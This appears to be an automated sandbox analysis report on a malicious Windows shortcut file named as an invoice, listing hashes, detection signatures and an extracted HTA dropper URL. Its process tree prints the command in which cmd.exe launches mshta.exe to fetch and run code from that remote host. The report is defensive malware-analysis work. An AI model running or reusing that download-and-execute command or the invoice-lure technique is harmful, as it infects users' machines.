Analysis
- max time kernel
300s - max time network
301s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
25/08/2026, 15:00
Static task
static1
Behavioral task
behavioral1
Sample
factura-3039463.lnk
Resource
win10v2004-20260513-en
5 signatures
300 seconds
Behavioral task
behavioral2
Sample
factura-3039463.lnk
Resource
win11ltsc2024-20260709-en
5 signatures
300 seconds
General
- Target factura-3039463.lnk
- Size 720B
- Sample260825-sdaz4a1saz
- SHA256 94fe9e0ee6da347f5975e86aecd41606de2dd605c27ef01f6f9986263d366f23
- MD5 8a8de66941681eb2647ad15c8e01ed52
- SHA1 a220ffd46d76d26f3a21ade2e49170c55cc75549
- SHA512 4e83dfc9ce0fd86b1374c82539a30cd402483aa02901cf2b1a86ea8c0fa7f05cf620a49208f88f05968e3c0206dfb4d4b1e493fd297a385d7721061fb55e10fa
- TLSH T13C0127045E950322C173CF3E509F3306C4693C869E425F6501A5A1892965611F576E3F
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://daytodaystray.com/nenk2.aspx?TreF
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 5 4032 mshta.exe 7 4032 mshta.exe 8 4032 mshta.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4900 cmd.exe - Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 8 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 4900 wrote to memory of 4032 4900 cmd.exe 90
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\factura-3039463.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\windows\system32\mshta.exe"C:\windows\system32\mshta.exe" https://daytodaystray.com/nenk2.aspx?TreF2⤵
- Badlisted process makes network request
PID:4032
-